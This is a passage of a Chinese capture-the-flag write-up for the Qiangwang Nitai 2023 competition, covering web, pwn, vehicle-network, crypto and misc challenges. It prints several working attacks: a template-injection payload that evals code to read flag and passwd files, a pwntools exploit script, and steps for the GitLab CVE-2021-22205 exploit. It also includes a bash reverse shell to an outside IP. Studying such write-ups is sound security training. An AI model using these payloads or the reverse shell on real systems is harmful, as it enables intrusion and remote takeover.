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"print(len(cin))dic={}for i in range(8190//2):    dic[out[2*i:2*i+2]] = cin[2*i:2*i+2]#print(dic)for i in range(len(enc)//2):    print(dic[enc[i*2:i*2+2]],end='')flag="6c324d2c86a72b864a22f30e46d20220"print()print(len(flag))

03

WEB



1.

noumisotuitennnoka

强网拟态2023 Writeup --Polaris

本地测一下,确实是

执行了默认的create,zip,unzip后


会在/var/www/html目录下生成jsons文件夹,里面就是backdoor.php 和 .hatccess


刚开始想通过clean

把/var/www/html/jsons/.htaccess 删掉,但是$substr的正则匹配拦住了,绕不过。


换个思路

通过'remove_path' => $dev_dir来清除。


要满足realpath($dev_dir) == $dir并且 删除.htaccess


可以构造 dev=/tmp/.这里是重点

这样就可以在压缩过程中删除.htaccess了。


所以创建和解压也用/tmp作为目录

?action=create&subdir=/tmp?action=zip&subdir=/tmp&dev=/tmp/.?action=unzip&subdir=/tmp
强网拟态2023 Writeup --Polaris

解压后就没有.htaccess了

直接访问backdoor.php

强网拟态2023 Writeup --Polaris


04

Mimic



1.

Tbox can

题目说了是can数据包,查看文件发现有以下分组:

强网拟态2023 Writeup --Polaris

由于开始时间按照顺序排好,持续时间均相同

故有效数据只有data

直接将所有data扔cyberchef转16进制:

强网拟态2023 Writeup --Polaris

找到关键字符串

PPASS:L0QGIC_ANAR1YSIS_CSAN_FOR_TFUN

尝试提交,错误,按照语法简单修改下:

flag{L0GIC_ANA1YSIS_CAN_FOR_FUN}

2.

用户鉴权

强网拟态2023 Writeup --Polaris

根据提示做就行了

强网拟态2023 Writeup --Polaris

访问提示的路由

强网拟态2023 Writeup --Polaris

使用post

强网拟态2023 Writeup --Polaris

构造一个提示中的请求构造一个提示中的请求

强网拟态2023 Writeup --Polaris

16进制转字符串

强网拟态2023 Writeup --Polaris

3.

用户登记系统

通过简单的脚本定位到需要的类

import requests as requrl = "http://116.63.134.105:80/index.php"for i in range(200):    payload={"name":"{{"".__class__.__bases__[0].__subclasses__()[%s]}}"%i}    res = req.post(url=url,data=payload)    if "WarningMessage" in res.text:        print(i)        break        # 147

使用""绕过对关键字的过滤,尝试读取/etc/passwd

强网拟态2023 Writeup --Polaris

题目给出flag在/tmp中,尝试读取/tmp/flag,由于返回值中也不能含有flag关键字,所以需要做一层加密,这里引入base64类进行加密

payload:

name={{"".__class__.__bases__[0].__subclasses__()[147].__init__.__globals__["__builtins__"]["ev""al"]("__im""port__")("base64")["b64encode"](("".__class__.__bases__[0].__subclasses__()[147].__init__.__globals__["__builtins__"]["ev""al"]("open")("/tmp/fl""ag").read()).encode())}}
强网拟态2023 Writeup --Polaris

解码得flag:

flag{u_win_have_fun}

4.

Crack and find me

查看前端。

有key和密文,base64解密反查md5,key是secrets

然后DES解密,按照顺序访问即可:

强网拟态2023 Writeup --Polaris

5.

‍拟态控制器

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './controller_pwn'
li = lambda x : print('x1b[01;38;5;214m' + str(x) + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + str(x) + 'x1b[0m')
context.terminal = ['tmux','splitw','-h']
debug = 1if debug:    r = remote("pwn-2a1d604c48.challenge.xctf.org.cn", 9999, ssl=True)else:    r = process(file_name)
elf = ELF(file_name)
def dbg():    gdb.attach(r)
def dbgg():    raw_input()
dbgg()p1 = b'a' * 0x29r.sendafter('command:', p1)
r.recvuntil('a' * 0x29)leak = u64(r.recv(7).rjust(8, b'x00'))li('leak = ' + hex(leak))
p1 = b'a' * 0x28 + p64(leak) + b'a' * 8 + b'x0e'r.sendafter('n', p1)


r.interactive()

04

V2XSec




1.

新型车联网安全网络协议破解(阶段一)

赛题描述某地方企业内网中采用自己设计的车联网安全通信协议(Vehicle networking security communication protocol,VSCP)与车联网应用进行通信以实现控制车辆的目的,利用该协议接发的所有网络数据包均含有用户的身份。选手需要通过漏洞利用、数据包解析以及数据包伪造三个步骤完成攻击。
阶段一: 内网服务器漏洞利用参赛选手利用VPN客户端可以登入内网服务器Server1,该内网服务器被安全团队指出拥有某种漏洞,但内网管理员仍未采取任何安全措施。Server1与车联网服务器Server2定时通信 (通信程序名为Vehicle Controller) ,通信时使用VSCP协议。参赛选手需要挖掘并利用系统漏洞,获取Vehicle Controller程序的执行路径,执行路径下有flag,提交正确的flag即视为解题成功。VPN下载链接: 链接:https://share.weiyun.com/LGGUOBfj 密码:x9yuf8Server1的IP地址给出为: 172.18.0.4

给的gitlab,但是tmd这代理脑子有病不走全局恶心死了,所以去看了一下VPN的配置文件

vpn-configs.json

应为我记得走的就是默认的配置 所以关注这个就行

    "default" : {      "configName" : "default",      "vpnServerPort" : "13899",      "identityCheckChoice" : "0",      "vpnServerPrefix" : "/vpn/server",      "socksPort" : "1080",      "misIP" : "14.215.134.202",      "isEncryption" : "true",      "isSendingPrefix" : "false",      "misPort" : "13899",      "faceAuth" : "0",      "gatewayPrefix" : "/min/gdcni9",      "flowInspectionTime" : "30000",      "vpnServerIP" : "14.215.134.202"    }

可以发现他是起了一个socksPort 为1080 

所以本地走1080端口或者局域网走1080端口即可走通

然后就是直接上gitlab的CVE-2021-22205

但是直接打会报这个错误

Couldn't find a tree builder with the features you requested: lxml. Do you need to install a parser library?

这个是你用的那个解析库不对

然后全局修改为

# 把所有的"lxml"改成"html.parser"

就可以正常跑通了 然后就是写一个sh脚本去执行反弹shell即可(直接反弹不行)

echo 'bash -i >& /dev/tcp/152.136.46.28/7979 0>&1' > /tmp/90.sh
chmod +x /tmp/90.sh
/bin/bash /tmp/90.sh

然后就反弹回来了然后看一下题目的意思是找到 Vehicle Controller 的进程的路径 然后去找到这个进程的启动路径即可

ps -ef | grep Vehiclereadlink -f /proc/5452/exe
强网拟态2023 Writeup --Polaris


06

Crypto



1.

一眼看出

费马分解直接出p和q,正常解rsa

from isqrt import isqrtfrom Crypto.Util.number import *
def fermat(n):    a = isqrt(n)    b2 = a * a - n    b = isqrt(n)    count = 0    while b * b != b2:        a = a + 1        b2 = a * a - n        b = isqrt(b2)        count += 1    p = a + b    q = a - b    assert n == p * q    return p, q

if __name__ == '__main__':    import libnum
   N = 121027298948349995679677982412648544403333177260975245569073983061538581058440163574922807151182889153495253964764966037308461724272151584478723275142858008261257709817963330011376266261119767294949088397671360123321149414700981035517299807126625758046100840667081332434968770862731073693976604061597575813313
   p, q = fermat(N)    c = 42256117129723577554705402387775886393426604555611637074394963219097781224776058009003521565944180241032100329456702310737369381890041336312084091995865560402681403775751012856436207938771611177592600423563671217656908392901713661029126149486651409531213711103407037959788587839729511719756709763927616470267    m=long_to_bytes(pow(c,inverse(65537,(p-1)*(q-1)),N))    print(m)

07

MISC



1.

国际象棋与二维码

强网拟态2023 Writeup --Polaris

题目说是国际象棋与二维码并且提示给了你见过国际象棋的棋盘吗,想到国际象棋是黑白交替又因为是二维码所以想到左上角如何拼出二维码的图像就是偶数的列和行都进行反转后发现确实存在二维码特征于是手撸一下得到二维码扫码就得到flag

强网拟态2023 Writeup --Polaris

扫码得到flag

强网拟态2023 Writeup --Polaris

文末:

欢迎师傅们加入我们:

星盟安全团队纳新群1:222328705

星盟安全团队纳新群2:346014666

有兴趣的师傅欢迎一起来讨论!

强网拟态2023 Writeup --Polaris

原文始发于微信公众号(星盟安全):强网拟态2023 Writeup --Polaris

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月14日01:20:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   强网拟态2023 Writeup --Polarishttp://cn-sec.com/archives/2205355.html

发表评论

匿名网友 填写信息